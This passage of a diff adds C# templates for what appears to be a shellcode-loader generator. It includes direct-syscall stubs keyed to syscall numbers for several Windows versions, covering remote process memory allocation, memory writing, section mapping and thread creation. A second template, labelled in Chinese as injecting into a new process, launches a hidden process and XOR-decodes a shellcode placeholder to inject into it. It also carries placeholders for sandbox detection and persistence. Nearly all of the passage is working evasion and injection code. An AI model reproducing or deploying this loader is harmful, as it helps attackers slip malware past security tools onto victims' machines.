+ VirtualMemoryOperation = 0x00000008,
+ VirtualMemoryRead = 0x00000010,
+ VirtualMemoryWrite = 0x00000020,
+ DuplicateHandle = 0x00000040,
+ CreateProcess = 0x000000080,
+ SetQuota = 0x00000100,
+ SetInformation = 0x00000200,
+ QueryInformation = 0x00000400,
+ QueryLimitedInformation = 0x00001000,
+ Synchronize = 0x00100000
+ }
+
+ public struct CLIENT_ID
+ {
+ public IntPtr UniqueProcess;
+ public IntPtr UniqueThread;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct OBJECT_ATTRIBUTES
+ {
+ public ulong Length;
+ public IntPtr RootDirectory;
+ public IntPtr ObjectName;
+ public ulong Attributes;
+ public IntPtr SecurityDescriptor;
+ public IntPtr SecurityQualityOfService;
+ }
+
+ public enum NTSTATUS : uint
+ {
+ // Success
+ Success = 0x00000000,
+ Wait0 = 0x00000000,
+ Wait1 = 0x00000001,
+ Wait2 = 0x00000002,
+ Wait3 = 0x00000003,
+ Wait63 = 0x0000003f,
+ Abandoned = 0x00000080,
+ AbandonedWait0 = 0x00000080,
+ AbandonedWait1 = 0x00000081,
+ AbandonedWait2 = 0x00000082,
+ AbandonedWait3 = 0x00000083,
+ AbandonedWait63 = 0x000000bf,
+ UserApc = 0x000000c0,
+ KernelApc = 0x00000100,
+ Alerted = 0x00000101,
+ Timeout = 0x00000102,
+ Pending = 0x00000103,
+ Reparse = 0x00000104,
+ MoreEntries = 0x00000105,
+ NotAllAssigned = 0x00000106,
+ SomeNotMapped = 0x00000107,
+ OpLockBreakInProgress = 0x00000108,
+ VolumeMounted = 0x00000109,
+ RxActCommitted = 0x0000010a,
+ NotifyCleanup = 0x0000010b,
+ NotifyEnumDir = 0x0000010c,
+ NoQuotasForAccount = 0x0000010d,
+ PrimaryTransportConnectFailed = 0x0000010e,
+ PageFaultTransition = 0x00000110,
+ PageFaultDemandZero = 0x00000111,
+ PageFaultCopyOnWrite = 0x00000112,
+ PageFaultGuardPage = 0x00000113,
+ PageFaultPagingFile = 0x00000114,
+ CrashDump = 0x00000116,
+ ReparseObject = 0x00000118,
+ NothingToTerminate = 0x00000122,
+ ProcessNotInJob = 0x00000123,
+ ProcessInJob = 0x00000124,
+ ProcessCloned = 0x00000129,
+ FileLockedWithOnlyReaders = 0x0000012a,
+ FileLockedWithWriters = 0x0000012b,
+
+ // Informational
+ Informational = 0x40000000,
+ ObjectNameExists = 0x40000000,
+ ThreadWasSuspended = 0x40000001,
+ WorkingSetLimitRange = 0x40000002,
+ ImageNotAtBase = 0x40000003,
+ RegistryRecovered = 0x40000009,
+
+ // Warning
+ Warning = 0x80000000,
+ GuardPageViolation = 0x80000001,
+ DatatypeMisalignment = 0x80000002,
+ Breakpoint = 0x80000003,
+ SingleStep = 0x80000004,
+ BufferOverflow = 0x80000005,
+ NoMoreFiles = 0x80000006,
+ HandlesClosed = 0x8000000a,
+ PartialCopy = 0x8000000d,
+ DeviceBusy = 0x80000011,
+ InvalidEaName = 0x80000013,
+ EaListInconsistent = 0x80000014,
+ NoMoreEntries = 0x8000001a,
+ LongJump = 0x80000026,
+ DllMightBeInsecure = 0x8000002b,
+
+ // Error
+ Error = 0xc0000000,
+ Unsuccessful = 0xc0000001,
+ NotImplemented = 0xc0000002,
+ InvalidInfoClass = 0xc0000003,
+ InfoLengthMismatch = 0xc0000004,
+ AccessViolation = 0xc0000005,
+ InPageError = 0xc0000006,
+ PagefileQuota = 0xc0000007,
+ InvalidHandle = 0xc0000008,
+ BadInitialStack = 0xc0000009,
+ BadInitialPc = 0xc000000a,
+ InvalidCid = 0xc000000b,
+ TimerNotCanceled = 0xc000000c,
+ InvalidParameter = 0xc000000d,
+ NoSuchDevice = 0xc000000e,
+ NoSuchFile = 0xc000000f,
+ InvalidDeviceRequest = 0xc0000010,
+ EndOfFile = 0xc0000011,
+ WrongVolume = 0xc0000012,
+ NoMediaInDevice = 0xc0000013,
+ NoMemory = 0xc0000017,
+ ConflictingAddresses = 0xc0000018,
+ NotMappedView = 0xc0000019,
+ UnableToFreeVm = 0xc000001a,
+ UnableToDeleteSection = 0xc000001b,
+ IllegalInstruction = 0xc000001d,
+ AlreadyCommitted = 0xc0000021,
+ AccessDenied = 0xc0000022,
+ BufferTooSmall = 0xc0000023,
+ ObjectTypeMismatch = 0xc0000024,
+ NonContinuableException = 0xc0000025,
+ BadStack = 0xc0000028,
+ NotLocked = 0xc000002a,
+ NotCommitted = 0xc000002d,
+ InvalidParameterMix = 0xc0000030,
+ ObjectNameInvalid = 0xc0000033,
+ ObjectNameNotFound = 0xc0000034,
+ ObjectNameCollision = 0xc0000035,
+ ObjectPathInvalid = 0xc0000039,
+ ObjectPathNotFound = 0xc000003a,
+ ObjectPathSyntaxBad = 0xc000003b,
+ DataOverrun = 0xc000003c,
+ DataLate = 0xc000003d,
+ DataError = 0xc000003e,
+ CrcError = 0xc000003f,
+ SectionTooBig = 0xc0000040,
+ PortConnectionRefused = 0xc0000041,
+ InvalidPortHandle = 0xc0000042,
+ SharingViolation = 0xc0000043,
+ QuotaExceeded = 0xc0000044,
+ InvalidPageProtection = 0xc0000045,
+ MutantNotOwned = 0xc0000046,
+ SemaphoreLimitExceeded = 0xc0000047,
+ PortAlreadySet = 0xc0000048,
+ SectionNotImage = 0xc0000049,
+ SuspendCountExceeded = 0xc000004a,
+ ThreadIsTerminating = 0xc000004b,
+ BadWorkingSetLimit = 0xc000004c,
+ IncompatibleFileMap = 0xc000004d,
+ SectionProtection = 0xc000004e,
+ EasNotSupported = 0xc000004f,
+ EaTooLarge = 0xc0000050,
+ NonExistentEaEntry = 0xc0000051,
+ NoEasOnFile = 0xc0000052,
+ EaCorruptError = 0xc0000053,
+ FileLockConflict = 0xc0000054,
+ LockNotGranted = 0xc0000055,
+ DeletePending = 0xc0000056,
+ CtlFileNotSupported = 0xc0000057,
+ UnknownRevision = 0xc0000058,
+ RevisionMismatch = 0xc0000059,
+ InvalidOwner = 0xc000005a,
+ InvalidPrimaryGroup = 0xc000005b,
+ NoImpersonationToken = 0xc000005c,
+ CantDisableMandatory = 0xc000005d,
+ NoLogonServers = 0xc000005e,
+ NoSuchLogonSession = 0xc000005f,
+ NoSuchPrivilege = 0xc0000060,
+ PrivilegeNotHeld = 0xc0000061,
+ InvalidAccountName = 0xc0000062,
+ UserExists = 0xc0000063,
+ NoSuchUser = 0xc0000064,
+ GroupExists = 0xc0000065,
+ NoSuchGroup = 0xc0000066,
+ MemberInGroup = 0xc0000067,
+ MemberNotInGroup = 0xc0000068,
+ LastAdmin = 0xc0000069,
+ WrongPassword = 0xc000006a,
+ IllFormedPassword = 0xc000006b,
+ PasswordRestriction = 0xc000006c,
+ LogonFailure = 0xc000006d,
+ AccountRestriction = 0xc000006e,
+ InvalidLogonHours = 0xc000006f,
+ InvalidWorkstation = 0xc0000070,
+ PasswordExpired = 0xc0000071,
+ AccountDisabled = 0xc0000072,
+ NoneMapped = 0xc0000073,
+ TooManyLuidsRequested = 0xc0000074,
+ LuidsExhausted = 0xc0000075,
+ InvalidSubAuthority = 0xc0000076,
+ InvalidAcl = 0xc0000077,
+ InvalidSid = 0xc0000078,
+ InvalidSecurityDescr = 0xc0000079,
+ ProcedureNotFound = 0xc000007a,
+ InvalidImageFormat = 0xc000007b,
+ NoToken = 0xc000007c,
+ BadInheritanceAcl = 0xc000007d,
+ RangeNotLocked = 0xc000007e,
+ DiskFull = 0xc000007f,
+ ServerDisabled = 0xc0000080,
+ ServerNotDisabled = 0xc0000081,
+ TooManyGuidsRequested = 0xc0000082,
+ GuidsExhausted = 0xc0000083,
+ InvalidIdAuthority = 0xc0000084,
+ AgentsExhausted = 0xc0000085,
+ InvalidVolumeLabel = 0xc0000086,
+ SectionNotExtended = 0xc0000087,
+ NotMappedData = 0xc0000088,
+ ResourceDataNotFound = 0xc0000089,
+ ResourceTypeNotFound = 0xc000008a,
+ ResourceNameNotFound = 0xc000008b,
+ ArrayBoundsExceeded = 0xc000008c,
+ FloatDenormalOperand = 0xc000008d,
+ FloatDivideByZero = 0xc000008e,
+ FloatInexactResult = 0xc000008f,
+ FloatInvalidOperation = 0xc0000090,
+ FloatOverflow = 0xc0000091,
+ FloatStackCheck = 0xc0000092,
+ FloatUnderflow = 0xc0000093,
+ IntegerDivideByZero = 0xc0000094,
+ IntegerOverflow = 0xc0000095,
+ PrivilegedInstruction = 0xc0000096,
+ TooManyPagingFiles = 0xc0000097,
+ FileInvalid = 0xc0000098,
+ InstanceNotAvailable = 0xc00000ab,
+ PipeNotAvailable = 0xc00000ac,
+ InvalidPipeState = 0xc00000ad,
+ PipeBusy = 0xc00000ae,
+ IllegalFunction = 0xc00000af,
+ PipeDisconnected = 0xc00000b0,
+ PipeClosing = 0xc00000b1,
+ PipeConnected = 0xc00000b2,
+ PipeListening = 0xc00000b3,
+ InvalidReadMode = 0xc00000b4,
+ IoTimeout = 0xc00000b5,
+ FileForcedClosed = 0xc00000b6,
+ ProfilingNotStarted = 0xc00000b7,
+ ProfilingNotStopped = 0xc00000b8,
+ NotSameDevice = 0xc00000d4,
+ FileRenamed = 0xc00000d5,
+ CantWait = 0xc00000d8,
+ PipeEmpty = 0xc00000d9,
+ CantTerminateSelf = 0xc00000db,
+ InternalError = 0xc00000e5,
+ InvalidParameter1 = 0xc00000ef,
+ InvalidParameter2 = 0xc00000f0,
+ InvalidParameter3 = 0xc00000f1,
+ InvalidParameter4 = 0xc00000f2,
+ InvalidParameter5 = 0xc00000f3,
+ InvalidParameter6 = 0xc00000f4,
+ InvalidParameter7 = 0xc00000f5,
+ InvalidParameter8 = 0xc00000f6,
+ InvalidParameter9 = 0xc00000f7,
+ InvalidParameter10 = 0xc00000f8,
+ InvalidParameter11 = 0xc00000f9,
+ InvalidParameter12 = 0xc00000fa,
+ MappedFileSizeZero = 0xc000011e,
+ TooManyOpenedFiles = 0xc000011f,
+ Cancelled = 0xc0000120,
+ CannotDelete = 0xc0000121,
+ InvalidComputerName = 0xc0000122,
+ FileDeleted = 0xc0000123,
+ SpecialAccount = 0xc0000124,
+ SpecialGroup = 0xc0000125,
+ SpecialUser = 0xc0000126,
+ MembersPrimaryGroup = 0xc0000127,
+ FileClosed = 0xc0000128,
+ TooManyThreads = 0xc0000129,
+ ThreadNotInProcess = 0xc000012a,
+ TokenAlreadyInUse = 0xc000012b,
+ PagefileQuotaExceeded = 0xc000012c,
+ CommitmentLimit = 0xc000012d,
+ InvalidImageLeFormat = 0xc000012e,
+ InvalidImageNotMz = 0xc000012f,
+ InvalidImageProtect = 0xc0000130,
+ InvalidImageWin16 = 0xc0000131,
+ LogonServer = 0xc0000132,
+ DifferenceAtDc = 0xc0000133,
+ SynchronizationRequired = 0xc0000134,
+ DllNotFound = 0xc0000135,
+ IoPrivilegeFailed = 0xc0000137,
+ OrdinalNotFound = 0xc0000138,
+ EntryPointNotFound = 0xc0000139,
+ ControlCExit = 0xc000013a,
+ PortNotSet = 0xc0000353,
+ DebuggerInactive = 0xc0000354,
+ CallbackBypass = 0xc0000503,
+ PortClosed = 0xc0000700,
+ MessageLost = 0xc0000701,
+ InvalidMessage = 0xc0000702,
+ RequestCanceled = 0xc0000703,
+ RecursiveDispatch = 0xc0000704,
+ LpcReceiveBufferExpected = 0xc0000705,
+ LpcInvalidConnectionUsage = 0xc0000706,
+ LpcRequestsNotAllowed = 0xc0000707,
+ ResourceInUse = 0xc0000708,
+ ProcessIsProtected = 0xc0000712,
+ VolumeDirty = 0xc0000806,
+ FileCheckedOut = 0xc0000901,
+ CheckOutRequired = 0xc0000902,
+ BadFileType = 0xc0000903,
+ FileTooLarge = 0xc0000904,
+ FormsAuthRequired = 0xc0000905,
+ VirusInfected = 0xc0000906,
+ VirusDeleted = 0xc0000907,
+ TransactionalConflict = 0xc0190001,
+ InvalidTransaction = 0xc0190002,
+ TransactionNotActive = 0xc0190003,
+ TmInitializationFailed = 0xc0190004,
+ RmNotActive = 0xc0190005,
+ RmMetadataCorrupt = 0xc0190006,
+ TransactionNotJoined = 0xc0190007,
+ DirectoryNotRm = 0xc0190008,
+ CouldNotResizeLog = 0xc0190009,
+ TransactionsUnsupportedRemote = 0xc019000a,
+ LogResizeInvalidSize = 0xc019000b,
+ RemoteFileVersionMismatch = 0xc019000c,
+ CrmProtocolAlreadyExists = 0xc019000f,
+ TransactionPropagationFailed = 0xc0190010,
+ CrmProtocolNotFound = 0xc0190011,
+ TransactionSuperiorExists = 0xc0190012,
+ TransactionRequestNotValid = 0xc0190013,
+ TransactionNotRequested = 0xc0190014,
+ TransactionAlreadyAborted = 0xc0190015,
+ TransactionAlreadyCommitted = 0xc0190016,
+ TransactionInvalidMarshallBuffer = 0xc0190017,
+ CurrentTransactionNotValid = 0xc0190018,
+ LogGrowthFailed = 0xc0190019,
+ ObjectNoLongerExists = 0xc0190021,
+ StreamMiniversionNotFound = 0xc0190022,
+ StreamMiniversionNotValid = 0xc0190023,
+ MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
+ CantOpenMiniversionWithModifyIntent = 0xc0190025,
+ CantCreateMoreStreamMiniversions = 0xc0190026,
+ HandleNoLongerValid = 0xc0190028,
+ NoTxfMetadata = 0xc0190029,
+ LogCorruptionDetected = 0xc0190030,
+ CantRecoverWithHandleOpen = 0xc0190031,
+ RmDisconnected = 0xc0190032,
+ EnlistmentNotSuperior = 0xc0190033,
+ RecoveryNotNeeded = 0xc0190034,
+ RmAlreadyStarted = 0xc0190035,
+ FileIdentityNotPersistent = 0xc0190036,
+ CantBreakTransactionalDependency = 0xc0190037,
+ CantCrossRmBoundary = 0xc0190038,
+ TxfDirNotEmpty = 0xc0190039,
+ IndoubtTransactionsExist = 0xc019003a,
+ TmVolatile = 0xc019003b,
+ RollbackTimerExpired = 0xc019003c,
+ TxfAttributeCorrupt = 0xc019003d,
+ EfsNotAllowedInTransaction = 0xc019003e,
+ TransactionalOpenNotAllowed = 0xc019003f,
+ TransactedMappingUnsupportedRemote = 0xc0190040,
+ TxfMetadataAlreadyPresent = 0xc0190041,
+ TransactionScopeCallbacksNotSet = 0xc0190042,
+ TransactionRequiredPromotion = 0xc0190043,
+ CannotExecuteFileInTransaction = 0xc0190044,
+ TransactionsNotFrozen = 0xc0190045,
+
+ MaximumNtStatus = 0xffffffff
+ }
+
+ [DllImport(""kernel32.dll"")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)]
+ public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo);
+
+ [DllImport(""ntdll.dll"", SetLastError = true)]
+ public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo);
+ }
+
+ class syscalls
+ {
+
+
+ public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
+ public static Dictionary> sysDic = new Dictionary>()
+ {
+ { ""win10-1507"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB3},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1511"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB4},
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1607"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB6},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1703"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB9},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1709"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBA},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1803"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBB},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1809"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBC},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1903-9"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBD},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win8-12"", new Dictionary()
+ {
+ { ""openprocess"",0x24},
+ { ""allocatevirtualmem"", 0x16},
+ { ""writevirtualmem"", 0x38},
+ { ""createremthread"", 0xAF},
+ { ""createsection"", 0x48 },
+ { ""mapviewofsec"", 0x26 }
+ }
+ },
+ { ""win8.1-12r2"", new Dictionary()
+ {
+ { ""openprocess"",0x25},
+ { ""allocatevirtualmem"", 0x17},
+ { ""writevirtualmem"", 0x39},
+ { ""createremthread"", 0xB0},
+ { ""createsection"", 0x49 },
+ { ""mapviewofsec"", 0x27 }
+ }
+ },
+ { ""w7-08"", new Dictionary()
+ {
+ { ""openprocess"",0x23},
+ { ""allocatevirtualmem"", 0x15},
+ { ""writevirtualmem"", 0x37},
+ { ""createremthread"", 0xA5},
+ { ""createsection"", 0x47 },
+ { ""mapviewofsec"", 0x25 }
+ }
+ }
+ };
+
+ public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""openprocess""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""createremthread""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+ ////
+ ////
+
+
+ Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""writevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
+ }
+ }
+ }
+
+
+ public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""allocatevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""createsection""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""mapviewofsec""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""writevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
+ }
+ }
+ }
+
+
+ public struct Delegates
+ {
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot);
+ }
+ }
+}";
+
+ //syscall 注入新进程
+ public static string syscall_new = @"using System;
+using System.Runtime.InteropServices;
+using System.Security;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Collections;
+using System.Collections.Generic;
+using System.Deployment.Internal;
+using System.Linq;
+using System.Text;
+
+namespace CS_SysCall
+{
+ class Program
+ {
+ public const int ALLOCWRITE = 1;
+ public const int OPENSEC = 2;
+
+ public static byte string_to_int(string str)
+ {
+ string temp = str.Substring(str.Length - 2, 2);
+ int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
+ return BitConverter.GetBytes(hex)[0];
+ }
+
+ public static byte[] XOR_C(string raw)
+ {
+ string[] xxxxx_array = raw.Split(',');
+ byte[] result = new byte[xxxxx_array.Length];
+ int j = 234;
+ int add = 12;
+ for (int i = 0; i < xxxxx_array.Length; i++)
+ {
+ string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j);
+ temp = ""0x"" + temp.Substring(temp.Length - 2, 2);
+ result[i] = string_to_int(temp);
+ j += add;
+ }
+ return result;
+ }
+
+ static unsafe void Main(string[] args)
+ {
+ //{{sanbox_vm_detect}}
+ //{{persistence}}
+ string osV = getOsVers();
+ Process p = new Process();
+ p.StartInfo = new ProcessStartInfo(""{{processname}}"");
+
+ p.StartInfo.CreateNoWindow = true;
+
+ p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
+ p.Start();
+
+ string xxxx = ""{{shellcode}}"";
+
+ byte[] xxxxx = XOR_C(xxxx);
+
+ yr_var_foobar_2_ccx(osV, OPENSEC, p.Id, xxxxx);
+ }
+
+ public static string getOsVers()
+ {
+ nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW();
+ osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);
+ nativeStructs.RtlGetVersion(ref osInfo);
+ string osV = """";
+
+ switch (osInfo.dwMajorVersion)
+ {
+ case 10:
